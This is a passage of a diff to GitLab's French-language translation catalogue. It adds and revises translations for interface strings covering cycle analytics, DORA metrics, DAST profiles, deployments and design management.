+msgstr "Les étiquettes et le jalon ont été copiés depuis %{source_issuable_reference}."
msgid "Copy"
msgstr "Copier"
@@ -11002,7 +11137,7 @@ msgid "Copy environment"
msgstr "Copier l'environnement"
msgid "Copy evidence SHA"
-msgstr ""
+msgstr "Copier l'empreinte SHA de la preuve"
msgid "Copy failed. Please manually copy the value."
msgstr "La copie a échoué. Veuillez copier la valeur manuellement."
@@ -11023,10 +11158,10 @@ msgid "Copy key"
msgstr "Copier la clé"
msgid "Copy labels and milestone from %{source_issuable_reference}."
-msgstr ""
+msgstr "Copier les étiquettes et le jalon depuis %{source_issuable_reference}."
msgid "Copy labels and milestone from other issue or merge request in this project"
-msgstr "Copier les étiquettes et les jalons d'un autre ticket ou demande de fusion dans ce projet"
+msgstr "Copier les étiquettes et le jalon depuis un autre ticket ou demande de fusion de ce projet"
msgid "Copy link"
msgstr "Copier le lien"
@@ -11191,7 +11326,7 @@ msgid "Could not fetch training providers. Please refresh the page, or try again
msgstr "Impossible de récupérer les fournisseurs de formation. Veuillez actualiser la page ou réessayer plus tard."
msgid "Could not find design."
-msgstr "Impossible de trouver le design."
+msgstr "Impossible de trouver l'esquisse."
msgid "Could not find iteration"
msgstr "Itération introuvable"
@@ -11253,8 +11388,11 @@ msgstr ""
msgid "Country"
msgstr "Pays"
+msgid "Counts"
+msgstr "Nombre"
+
msgid "Counts reflect children you may not have access to."
-msgstr ""
+msgstr "Les quantités renvoient aux enfants dont ceux auxquels vous n'avez peut-être pas accès."
msgid "Coverage"
msgstr "Couverture"
@@ -11266,7 +11404,7 @@ msgid "Create"
msgstr "Créer"
msgid "Create %{environment}"
-msgstr ""
+msgstr "Créer %{environment}"
msgid "Create %{humanized_resource_name}"
msgstr ""
@@ -11344,13 +11482,13 @@ msgid "Create commit..."
msgstr "Créer un commit..."
msgid "Create common files more quickly, and standardize their format."
-msgstr ""
+msgstr "Créez des fichiers communs plus rapidement et standardisez leur format."
msgid "Create confidential merge request"
msgstr "Créer une demande de fusion confidentielle"
msgid "Create confidential merge request and branch"
-msgstr ""
+msgstr "Créer une demande de fusion confidentielle et une branche"
msgid "Create custom type"
msgstr "Créer un type personnalisé"
@@ -11380,7 +11518,7 @@ msgid "Create issue"
msgstr "Créer un ticket"
msgid "Create issue to resolve all threads"
-msgstr ""
+msgstr "Créer un ticket pour résoudre tous les fils de conversation"
msgid "Create label"
msgstr "Créer une étiquette"
@@ -11413,7 +11551,7 @@ msgid "Create new branch"
msgstr "Créer une nouvelle branche"
msgid "Create new confidential %{issuableType}"
-msgstr ""
+msgstr "Créer un nouveau %{issuableType} confidentiel"
msgid "Create new directory"
msgstr "Créer un nouveau dossier"
@@ -11461,7 +11599,7 @@ msgid "Create tag %{tagName}"
msgstr "Créer l'étiquette %{tagName}"
msgid "Create testing scenarios by defining project conditions in your development platform."
-msgstr ""
+msgstr "Créez des scénarios de test en définissant les conditions du projet dans votre plateforme de développement."
msgid "Create topic"
msgstr "Créer le sujet"
@@ -11479,7 +11617,7 @@ msgid "Create your first page"
msgstr "Créer votre première page"
msgid "Create your group"
-msgstr ""
+msgstr "Créez votre groupe"
msgid "Create, update, or delete a merge request."
msgstr "Créer, mettre à jour ou supprimer une demande de fusion."
@@ -11518,7 +11656,7 @@ msgid "CreateTimelogForm|Save"
msgstr "Enregistrer"
msgid "CreateTimelogForm|Spent at"
-msgstr "Passé le"
+msgstr "À compter du"
msgid "CreateTimelogForm|Summary"
msgstr "Résumé"
@@ -11527,13 +11665,13 @@ msgid "CreateTimelogForm|Time spent"
msgstr "Temps passé"
msgid "CreateTimelogForm|Track time spent on this %{issuableTypeNameStart}%{issuableTypeNameEnd}. %{timeTrackingDocsLinkStart}%{timeTrackingDocsLinkEnd}"
-msgstr ""
+msgstr "Suivez le temps passé sur %{issuableTypeNameStart}%{issuableTypeNameEnd}. %{timeTrackingDocsLinkStart}%{timeTrackingDocsLinkEnd}"
msgid "CreateTimelogForm|issue"
-msgstr ""
+msgstr "ce ticket"
msgid "CreateTimelogForm|merge request"
-msgstr ""
+msgstr "cette demande de fusion"
msgid "CreateValueStreamForm|%{name} (default)"
msgstr "%{name} (par défaut)"
@@ -11623,7 +11761,7 @@ msgid "CreateValueStreamForm|Restore defaults"
msgstr "Restaurer les valeurs par défaut"
msgid "CreateValueStreamForm|Restore stage"
-msgstr ""
+msgstr "Restaurer l'étape"
msgid "CreateValueStreamForm|Save value stream"
msgstr "Enregistrer la chaîne de valeur"
@@ -11677,10 +11815,10 @@ msgid "Created On"
msgstr "Créé le"
msgid "Created a branch and a merge request to resolve this issue."
-msgstr ""
+msgstr "A créé une branche et une demande de fusion pour résoudre ce ticket."
msgid "Created branch '%{branch_name}' and a merge request to resolve this issue."
-msgstr ""
+msgstr "A créé la branche « %{branch_name} » et une demande de fusion pour résoudre ce ticket."
msgid "Created by %{job}"
msgstr "Création par %{job}"
@@ -11722,7 +11860,7 @@ msgid "Creates a branch and a merge request to resolve this issue."
msgstr "Crée une branche et une demande de fusion pour résoudre ce ticket."
msgid "Creates branch '%{branch_name}' and a merge request to resolve this issue."
-msgstr ""
+msgstr "Crée la branche « %{branch_name} » et une demande de fusion pour résoudre ce ticket."
msgid "Creating"
msgstr "Création en cours"
@@ -11755,7 +11893,7 @@ msgid "CredentialsInventory|SSH Keys"
msgstr "Clés SSH"
msgid "Credit card required to be on file in order to create a pipeline"
-msgstr ""
+msgstr "Une carte de crédit doit être enregistrée pour créer un pipeline."
msgid "Credit card:"
msgstr "Carte de crédit :"
@@ -11764,7 +11902,7 @@ msgid "Critical - S1"
msgstr "Critique - S1"
msgid "Critical vulnerabilities present"
-msgstr ""
+msgstr "Vulnérabilités critiques présentes"
msgid "Crm|Active"
msgstr "Actif"
@@ -11785,7 +11923,7 @@ msgid "Crm|Customer relations organizations"
msgstr "Entreprises de Relation Client"
msgid "Crm|Default rate"
-msgstr ""
+msgstr "Taux par défaut"
msgid "Crm|Edit contact"
msgstr "Modifier le contact"
@@ -11980,10 +12118,10 @@ msgid "CycleAnalyticsEvent|Issue created"
msgstr "Un ticket est créé"
msgid "CycleAnalyticsEvent|Issue first added to a board"
-msgstr ""
+msgstr "Un ticket est ajouté pour la première fois dans un tableau"
msgid "CycleAnalyticsEvent|Issue first associated with a milestone"
-msgstr ""
+msgstr "Un ticket est associé pour la première fois à un jalon"
msgid "CycleAnalyticsEvent|Issue first associated with a milestone or issue first added to a board"
msgstr "Un ticket est associé pour la première fois à un jalon ou ajouté dans un tableau"
@@ -11998,7 +12136,7 @@ msgid "CycleAnalyticsEvent|Issue label was removed"
msgstr "L’étiquette du ticket a été supprimée"
msgid "CycleAnalyticsEvent|Issue last edited"
-msgstr ""
+msgstr "Dernier ticket modifié"
msgid "CycleAnalyticsEvent|Merge request closed"
msgstr "Demande de fusion fermée"
@@ -12013,19 +12151,19 @@ msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr "Demande de fusion déployée en production pour la première fois"
msgid "CycleAnalyticsEvent|Merge request label was added"
-msgstr ""
+msgstr "Une étiquette de demande de fusion a été ajoutée"
msgid "CycleAnalyticsEvent|Merge request label was removed"
msgstr "L'étiquette de la demande de fusion a été supprimée"
msgid "CycleAnalyticsEvent|Merge request last build finish time"
-msgstr ""
+msgstr "Date de fin de la dernière compilation pour la demande de fusion"
msgid "CycleAnalyticsEvent|Merge request last build start time"
-msgstr ""
+msgstr "Date de début de la dernière compilation pour la demande de fusion"
msgid "CycleAnalyticsEvent|Merge request last edited"
-msgstr ""
+msgstr "Dernière demande de fusion modifiée"
msgid "CycleAnalyticsEvent|Merge request merged"
msgstr "Demande de fusion fusionnée"
@@ -12058,7 +12196,7 @@ msgid "CycleAnalyticsStage|should be under a group"
msgstr ""
msgid "CycleAnalytics|%{selectedLabelsCount} selected (%{maxLabels} max)"
-msgstr ""
+msgstr "%{selectedLabelsCount} sélectionnée(s) (%{maxLabels} max)"
msgid "CycleAnalytics|'%{name}' is collecting the data. This can take a few minutes."
msgstr "« %{name} » est en train de collecter les données. Cela peut prendre quelques minutes."
@@ -12073,13 +12211,13 @@ msgid "CycleAnalytics|Change Failure Rate"
msgstr "Taux d’échec des changements"
msgid "CycleAnalytics|Create a custom value stream to view metrics about stages specific to your development process. Use your value stream to visualize your DevSecOps lifecycle, determine the velocity of your group, and identify inefficient processes."
-msgstr ""
+msgstr "Créez une chaîne de valeur personnalisée pour voir les métriques des étapes spécifiques à vos processus de développement. Utilisez votre chaîne de valeur pour visualiser votre cycle de vie DevSecOps, déterminer la vélocité de votre groupe et identifier les processus inefficaces."
msgid "CycleAnalytics|Create a custom value stream…"
msgstr "Créer une chaîne de valeur personnalisée…"
msgid "CycleAnalytics|Custom value streams to measure your DevSecOps lifecycle"
-msgstr ""
+msgstr "Chaîne de valeur personnalisée pour mesurer le cycle de vie DevSecOps"
msgid "CycleAnalytics|Data is collecting and loading."
msgstr "Les données sont en cours de collecte et de chargement."
@@ -12088,7 +12226,7 @@ msgid "CycleAnalytics|Date"
msgstr "Date"
msgid "CycleAnalytics|Display chart filters"
-msgstr ""
+msgstr "Afficher les filtres du graphique"
msgid "CycleAnalytics|If you have recently upgraded to GitLab Premium, it can take up to 30 minutes for data to collect and display."
msgstr "Si vous avez récemment mis à niveau vers GitLab Premium, cela peut prendre jusqu'à 30 minutes pour que les données soient collectées et affichées."
@@ -12111,7 +12249,7 @@ msgid "CycleAnalytics|Select labels"
msgstr "Sélectionner les étiquettes"
msgid "CycleAnalytics|Show"
-msgstr ""
+msgstr "Afficher"
msgid "CycleAnalytics|Stage time: %{title}"
msgstr "Durée de l'étape : %{title}"
@@ -12149,6 +12287,9 @@ msgstr "n'est pas autorisé pour l'événement de début donné"
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr "l’objet assigné n’est pas pris en charge"
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "La visualisation des DAG nécessite au minimum 3 tâches dépendantes."
@@ -12173,6 +12314,9 @@ msgstr "%{startDate} - %{endDate}"
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr "Moyenne (%{days} derniers jours)"
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr "Nombre moyen de déploiements en production par jour. Cette métrique mesure la fréquence à laquelle la valeur est livrée aux utilisateurs finaux."
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr "Taux d’échec des changements"
@@ -12185,8 +12329,11 @@ msgstr "Taux d’échec des changements (pourcentage)"
msgid "DORA4Metrics|Cycle time"
msgstr "Temps de cycle"
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
-msgstr "Métriques DORA du groupe %{groupName}"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr "Métriques DORA pour le groupe %{name}"
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
+msgstr "Métriques DORA pour le projet %{name}"
msgid "DORA4Metrics|Date"
msgstr "Date"
@@ -12204,7 +12351,13 @@ msgid "DORA4Metrics|Deployment frequency"
msgstr "Fréquence de déploiement"
msgid "DORA4Metrics|Deploys"
-msgstr ""
+msgstr "Déploiements"
+
+msgid "DORA4Metrics|Failed to load charts"
+msgstr "Échec du chargement des graphiques"
+
+msgid "DORA4Metrics|Go to docs"
+msgstr "Aller à la doc"
msgid "DORA4Metrics|Lead Time for Changes"
msgstr "Délai d'Exécution des Changements"
@@ -12227,6 +12380,12 @@ msgstr "Durée médiane (%{days} derniers jours)"
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr "Durée médiane d'ouverture d'un incident dans un environnement de production au cours de la période donnée."
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr "Médiane de la durée de la création du ticket à sa fermeture."
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr "Mois en cours"
@@ -12245,6 +12404,15 @@ msgstr "Nombre de déploiements"
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr "Nombre d’incidents divisé par le nombre de déploiements vers un environnement de production au cours de la période donnée."
+msgid "DORA4Metrics|Number of new issues created."
+msgstr "Nombre de nouveaux tickets créés."
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr "Les 6 derniers mois"
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr "Pourcentage des déploiements provoquant un incident en production."
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr "Pourcentage des déploiements qui ont échoué"
@@ -12266,6 +12434,12 @@ msgstr "Le graphique affiche la fréquence des déploiements vers le(s) environn
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr "Le graphique affiche le temps médian entre la fusion d'une demande de fusion et son déploiements vers le(s) environnement(s) de production basé(s) sur la valeur %{linkStart}deployment_tier%{linkEnd}."
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr "Le temps qu'il faut à une entreprise pour se remettre d'une panne en production."
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr "Le temps qu'il faut pour livrer un commit en production avec succès. Cette métrique reflète l’efficacité des pipelines CI/CD."
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr "Délai de restauration de service"
@@ -12275,8 +12449,11 @@ msgstr "Délai de restauration de service"
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr "Délai de restauration de service (jours médians)"
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr "Nombre total de déploiements en production."
+
msgid "DSN"
-msgstr ""
+msgstr "DSN"
msgid "Dashboard"
msgstr "Tableau de bord"
@@ -12290,9 +12467,6 @@ msgstr "Tous"
msgid "DashboardProjects|Personal"
msgstr "Personnels"
-msgid "DashboardProjects|Trending"
-msgstr "Tendances"
-
msgid "Dashboards"
msgstr "Tableaux de bord"
@@ -12411,7 +12585,7 @@ msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr "Impossible de mettre à jour le profil de site. Veuillez réessayer."
msgid "DastProfiles|DAST profile library"
-msgstr ""
+msgstr "Bibliothèque de gestion des profils DAST"
msgid "DastProfiles|Debug messages"
msgstr "Messages de débogage"
@@ -12480,7 +12654,7 @@ msgid "DastProfiles|Monitors all HTTP requests sent to the target to find potent
msgstr "Surveille toutes les requêtes HTTP envoyées vers la cible pour trouver des vulnérabilités potentielles."
msgid "DastProfiles|Must allow introspection queries to request the API schema. %{linkStart}How do I enable introspection%{linkEnd}?"
-msgstr ""
+msgstr "Doit autoriser les requêtes d'introspection à interroger le schéma de l'API. %{linkStart}Comment puis-je activer l'introspection%{linkEnd} ?"
msgid "DastProfiles|New scanner profile"
msgstr "Nouveau profil de scanner"
@@ -12588,10 +12762,10 @@ msgid "DastProfiles|Spider timeout"
msgstr "Délai d'attente de l'araignée"
msgid "DastProfiles|Submit button"
-msgstr ""
+msgstr "Bouton d'envoi"
msgid "DastProfiles|Submit button (optional)"
-msgstr ""
+msgstr "Bouton d'envoi (facultatif)"
msgid "DastProfiles|Target URL"
msgstr "URL cible"
@@ -12675,7 +12849,7 @@ msgid "DastSiteValidation|Header validation"
msgstr "Validation de l'en-tête"
msgid "DastSiteValidation|Meta tag validation"
-msgstr ""
+msgstr "Validation de la balise méta"
msgid "DastSiteValidation|Not validated"
msgstr "Non validé"
@@ -12728,7 +12902,7 @@ msgid "DastSiteValidation|Validate"
msgstr "Valider"
msgid "DastSiteValidation|Validate site"
-msgstr ""
+msgstr "Valider le site"
msgid "DastSiteValidation|Validated"
msgstr "Validé"
@@ -12752,7 +12926,7 @@ msgid "Data is still calculating..."
msgstr "Les données sont toujours en cours de calcul..."
msgid "Data refresh"
-msgstr ""
+msgstr "Rafraîchissement des données"
msgid "Data type"
msgstr "Type de données"
@@ -12812,7 +12986,7 @@ msgid "Date"
msgstr "Date"
msgid "Date merged"
-msgstr ""
+msgstr "Date de fusion"
msgid "Date range"
msgstr "Intervalle de dates"
@@ -12839,7 +13013,7 @@ msgid "DayTitle|M"
msgstr "L"
msgid "DayTitle|S"
-msgstr ""
+msgstr "D"
msgid "DayTitle|W"
msgstr "M"
@@ -12854,7 +13028,7 @@ msgid "Days to merge"
msgstr "Jours jusqu'à la fusion"
msgid "Deactivate"
-msgstr ""
+msgstr "Désactiver"
msgid "Deactivate dormant users after a period of inactivity"
msgstr "Désactiver les utilisateurs dormants après une période d'inactivité"
@@ -12875,7 +13049,7 @@ msgid "December"
msgstr "décembre"
msgid "Decline"
-msgstr ""
+msgstr "Refuser"
msgid "Decline and sign out"
msgstr "Refuser et se déconnecter"
@@ -12884,7 +13058,7 @@ msgid "Decompressed archive size validation failed."
msgstr "La validation de la taille de l'archive décompressée a échoué."
msgid "Decrease"
-msgstr ""
+msgstr "Diminuer"
msgid "Default - Never run"
msgstr "Par défaut - Ne jamais exécuter"
@@ -12965,13 +13139,13 @@ msgid "Define custom rules for what constitutes spam, independent of Akismet"
msgstr "Définir des règles personnalisées pour ce qui constitue du pourriel, indépendamment d'Akismet"
msgid "Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
-msgstr ""
+msgstr "Définissez des environnements pour la ou les étapes de déploiement dans %{code_open}.gitlab-ci.yml%{code_close} pour y suivre celles-ci."
msgid "Define how approval rules are applied to merge requests."
msgstr "Définir comment les règles d'approbation sont appliquées aux demandes de fusion."
msgid "Define rules for who can push, merge, and the required approvals for each branch."
-msgstr ""
+msgstr "Définissez les règles pour qui peut pousser, fusionner ainsi que les approbations requises pour chaque branche."
msgid "Definition"
msgstr "Définition"
@@ -13184,13 +13358,13 @@ msgid "Deleted projects cannot be restored!"
msgstr "Les projets supprimés ne peuvent pas être restaurés !"
msgid "Deleted the source branch."
-msgstr ""
+msgstr "A supprimé la branche source."
msgid "Deletes the source branch"
msgstr "Supprime la branche source"
msgid "Deleting"
-msgstr ""
+msgstr "Suppression en cours"
msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
msgstr "La suppression d'un projet le place dans un état de lecture seule jusqu'au %{date}, moment auquel le projet sera définitivement supprimé. Êtes-vous ABSOLUMENT sûr(e) ?"
@@ -13210,11 +13384,10 @@ msgstr "Protection contre la suppression"
msgid "DeletionSettings|Keep deleted"
msgstr "Laisser supprimés les"
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr "Conserver les projets supprimés pendant %{number}  jours"
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr "Conserver les projets supprimés pendant 1 journée"
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] "Conserver les projets supprimés pendant %{number} jour"
+msgstr[1] "Conserver les projets supprimés pendant %{number} jours"
msgid "DeletionSettings|None, delete immediately"
msgstr "Aucune, supprimer immédiatement"
@@ -13244,7 +13417,7 @@ msgid "Dependencies"
msgstr "Dépendances"
msgid "Dependencies help page link"
-msgstr ""
+msgstr "Lien vers la page d'aide sur les dépendances"
msgid "Dependencies|%d additional vulnerability not shown"
msgid_plural "Dependencies|%d additional vulnerabilities not shown"
@@ -13277,7 +13450,10 @@ msgid "Dependencies|Component name"
msgstr "Nom du composant"
msgid "Dependencies|Dependency path"
-msgstr ""
+msgstr "Chemin de dépendance"
+
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr "Erreur lors de l'exportation de la liste des dépendances. Veuillez recharger la page."
msgid "Dependencies|Export as JSON"
msgstr "Exporter en JSON"
@@ -13316,7 +13492,7 @@ msgid "Dependencies|Toggle vulnerability list"
msgstr "Afficher/masquer la liste des vulnérabilités"
msgid "Dependencies|Unsupported file(s) detected"
-msgstr ""
+msgstr "Fichier(s) non pris en charge détecté(s)"
msgid "Dependencies|Vulnerable components"
msgstr "Composants vulnérables"
@@ -13370,7 +13546,7 @@ msgid "DependencyProxy|Image list"
msgstr "Liste d'images"
msgid "DependencyProxy|Scheduled for deletion"
-msgstr ""
+msgstr "Programmé pour suppression"
msgid "DependencyProxy|There are no images in the cache"
msgstr "Il n'y a aucune image dans le cache"
@@ -13383,8 +13559,8 @@ msgstr "Cette option activée, les images de plus de 90 jours seront supprimées
msgid "Depends on %d merge request being merged"
msgid_plural "Depends on %d merge requests being merged"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Dépend de %d demande de fusion qui est en cours de fusion"
+msgstr[1] "Dépend de %d demandes de fusion qui sont en cours de fusion"
msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
@@ -13403,7 +13579,7 @@ msgid "Deploy Keys"
msgstr "Clés de déploiement"
msgid "Deploy Token"
-msgstr ""
+msgstr "Jeton de déploiement"
msgid "Deploy container based web apps on Google managed clusters"
msgstr "Déployer des applications Web basées sur des conteneurs dans des grappes de serveurs gérées par Google"
@@ -13421,13 +13597,13 @@ msgid "Deploy keys grant read/write access to all repositories in your instance"
msgstr "Les clés de déploiement accordent un accès en lecture/écriture à tous les dépôts de votre instance"
msgid "Deploy progress not found. To see pods, ensure your environment matches %{linkStart}deploy board criteria%{linkEnd}."
-msgstr ""
+msgstr "La progression du déploiement est introuvable. Pour voir les pods, assurez-vous que votre environnement correspond aux %{linkStart}critères du tableau de déploiement%{linkEnd}."
msgid "Deploy static assets and resources to Google managed CDN"
-msgstr ""
+msgstr "Déployer des actifs et des ressources statiques sur le CDN géré par Google"
msgid "Deploy to..."
-msgstr ""
+msgstr "Déployer sur..."
msgid "DeployBoards|To see deployment progress for your environments, make sure you are deploying to %{codeStart}$KUBE_NAMESPACE%{codeEnd} and annotating with %{codeStart}app.gitlab.com/app=$CI_PROJECT_PATH_SLUG%{codeEnd} and %{codeStart}app.gitlab.com/env=$CI_ENVIRONMENT_SLUG%{codeEnd}."
msgstr "Pour voir la progression du déploiement de vos environnements, assurez-vous que vous déployez sur %{codeStart}$KUBE_NAMESPACE%{codeEnd} et annotez avec %{codeStart}app.gitlab.com/app=$CI_PROJECT_PATH_SLUG%{codeEnd} et %{codeStart}app.gitlab.com/env=$CI_ENVIRONMENT_SLUG%{codeEnd}."
@@ -13660,9 +13836,15 @@ msgstr "Cible du déploiement du projet (facultative)"
msgid "Deployment Target|Select the deployment target"
msgstr "Sélectionnez la cible du déploiement"
+msgid "Deployment approvals is not configured for this environment."
+msgstr "Les approbations de déploiement ne sont pas configurées pour cet environnement."
+
msgid "Deployment frequency"
msgstr "Fréquence de déploiement"
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr "Approbations"
@@ -13678,6 +13860,12 @@ msgstr "Développeurs + Responsables"
msgid "DeploymentApprovals|Maintainers"
msgstr "Responsables"
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr "Approbations actuelles : %{current}"
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] "%{deployments} environnement impacté."
msgstr[1] "%{deployments} environnements impactés."
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr "Définissez les environnements pour la ou les étapes de déploiement dans %{code_open}.gitlab-ci.yml%{code_close} afin de suivre les déploiements ici."
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr "Vous n'avez aucun déploiement pour le moment."
+
msgid "Deployment|API"
msgstr "API"
@@ -13807,7 +14001,7 @@ msgid "Deployment|canceled"
msgstr "annulé"
msgid "Deployment|created"
-msgstr ""
+msgstr "créé"
msgid "Deployment|failed"
msgstr "en échec"
@@ -13861,7 +14055,7 @@ msgid "Descriptions"
msgstr "Descriptions"
msgid "Descriptive label"
-msgstr ""
+msgstr "Label descriptif"
msgid "Design"
msgstr "Esquisse"
@@ -13870,10 +14064,10 @@ msgid "Design Management files and data"
msgstr "Fichiers et données de la Gestion des Esquisses"
msgid "Design repositories"
-msgstr "Dépôts de design"
+msgstr "Dépôts d'esquisses"
msgid "Design repository"
-msgstr "Dépôt de design"
+msgstr "Dépôt d'esquisses"
msgid "DesignManagement|%{current_design} of %{designs_count}"
msgstr "%{current_design} sur %{designs_count}"
@@ -13881,13 +14075,13 @@ msgstr "%{current_design} sur %{designs_count}"
msgid "DesignManagement|%{filename} did not change."
msgid_plural "DesignManagement|The designs you tried uploading did not change."
msgstr[0] "%{filename} n'a pas changé."
-msgstr[1] "Les designs que vous avez essayé de téléverser n'ont pas changé."
+msgstr[1] "Les esquisses que vous avez essayé de téléverser n'ont pas changé."
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "L'ajout d'une esquisse avec le même nom de fichier remplace le fichier par une nouvelle version."
msgid "DesignManagement|Archive design"
-msgstr "Archiver le design"
+msgstr "Archiver l'esquisse"
msgid "DesignManagement|Archive designs"
msgstr "Archiver les esquisses"
@@ -13944,25 +14138,25 @@ msgid "DesignManagement|Discussion"
msgstr "Discussion"
msgid "DesignManagement|Download design"
-msgstr "Télécharger le design"
+msgstr "Télécharger l'esquisse"
msgid "DesignManagement|Error uploading a new design. Please try again."
-msgstr "Erreur lors du téléversement d'un nouveau design. Veuillez réessayer."
+msgstr "Erreur lors du téléversement d'une nouvelle esquisse. Veuillez réessayer."
msgid "DesignManagement|Go back to designs"
msgstr "Retour aux esquisses"
msgid "DesignManagement|Go to next design"
-msgstr "Aller au design suivant"
+msgstr "Aller à l'esquisse suivante"
msgid "DesignManagement|Go to previous design"
-msgstr "Aller au design précédent"
+msgstr "Aller à l'esquisse précédente"
msgid "DesignManagement|Requested design version does not exist. Showing latest version instead"
-msgstr "La version du design demandée n'existe pas. Affichage de la dernière version à la place"
+msgstr "La version de l'esquisse demandée n'existe pas. Affichage de la dernière version à la place"
msgid "DesignManagement|Resolve thread"
-msgstr ""
+msgstr "Résoudre le fil"
msgid "DesignManagement|Resolved Comments"
msgstr "Commentaires résolus"
@@ -13974,10 +14168,10 @@ msgid "DesignManagement|Select all"
msgstr "Tout sélectionner"
msgid "DesignManagement|Some of the designs you tried uploading did not change: %{skippedFiles} and %{moreCount} more."
-msgstr "Plusieurs des esquisses que vous avez essayées de téléverser n'ont pas changé : %{skippedFiles} et %{moreCount} de plus."
+msgstr "Plusieurs des esquisses que vous avez essayé de téléverser n'ont pas changé : %{skippedFiles} et %{moreCount} de plus."
msgid "DesignManagement|Some of the designs you tried uploading did not change: %{skippedFiles}."
-msgstr "Plusieurs des esquisses que vous avez essayées de téléverser n'ont pas changé : %{skippedFiles}."
+msgstr "Plusieurs des esquisses que vous avez essayé de téléverser n'ont pas changé : %{skippedFiles}."
msgid "DesignManagement|The maximum number of designs allowed to be uploaded is %{upload_limit}. Please try again."
msgstr "Le nombre maximum d'esquisses pouvant être téléversées est de %{upload_limit}. Veuillez réessayer."
@@ -13989,7 +14183,7 @@ msgid "DesignManagement|To upload designs, you'll need to enable LFS and have an
msgstr "Pour téléverser des esquisses, il est nécessaire d'activer LFS et que l'administrateur ait activé le stockage haché. %{requirements_link_start}En savoir plus%{requirements_link_end}"
msgid "DesignManagement|Unresolve thread"
-msgstr ""
+msgstr "Reprendre le fil de conversation"
msgid "DesignManagement|Upload designs"
msgstr "Téléverser des esquisses"
@@ -14030,8 +14224,8 @@ msgstr "Rapports DevOps"
msgid "DevOps adoption"
msgstr "Adoption de DevOps"
-msgid "DevOps metrics comparison (Alpha)"
-msgstr ""
+msgid "DevOps metrics comparison (Beta)"
+msgstr "Comparaison des métriques DevOps (Bêta)"
msgid "Developer"
msgstr "Développeur"
@@ -14208,7 +14402,7 @@ msgid "DevopsReport|High"
msgstr "Élevé"
msgid "DevopsReport|Leader usage"
-msgstr ""
+msgstr "Usage du meneur"
msgid "DevopsReport|Low"
msgstr "Faible"
@@ -14250,11 +14444,14 @@ msgid "Diff limits"
msgstr "Limites du diff"
msgid "Diff notes"
-msgstr ""
+msgstr "Notes de diff"
msgid "Difference between start date and now"
msgstr "Différence entre la date de début et maintenant"
+msgid "Different user's signature"
+msgstr "Signature d'un utilisateur différent"
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr "(HEAD)"
@@ -14352,7 +14549,7 @@ msgid "Disabled"
msgstr "Désactivé"
msgid "Disabled by %{parent} owner"
-msgstr ""
+msgstr "Désactivé par le propriétaire du %{parent}"
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr "Les miroirs désactivés ne peuvent être activés que par les propriétaires d'instance. Il est recommandé de les supprimer."
@@ -14394,7 +14591,7 @@ msgid "Discover|Check your application for security vulnerabilities that may lea
msgstr "Vérifier votre application à la recherche de vulnérabilités susceptibles d'entraîner des accès non autorisés, des fuites de données ou des dénis de services."
msgid "Discover|For code that's already live in production, our dashboards give you an easy way to prioritize any issues that are found, empowering your team to ship quickly and securely."
-msgstr ""
+msgstr "Pour le code qui est déjà en production, nos tableaux de bord vous donnent un moyen facile de classer tous les tickets qui sont trouvés par ordre de priorité, permettant à votre équipe de le livrer rapidement et en toute sécurité."
msgid "Discover|GitLab will perform static and dynamic tests on the code of your application, looking for known flaws and report them in the merge request so you can fix them before merging."
msgstr "GitLab effectuera des tests statiques et dynamiques sur le code de votre application à la recherche de failles connues, puis rapportera celles-ci dans la demande de fusion afin que vous puissiez les corriger avant."
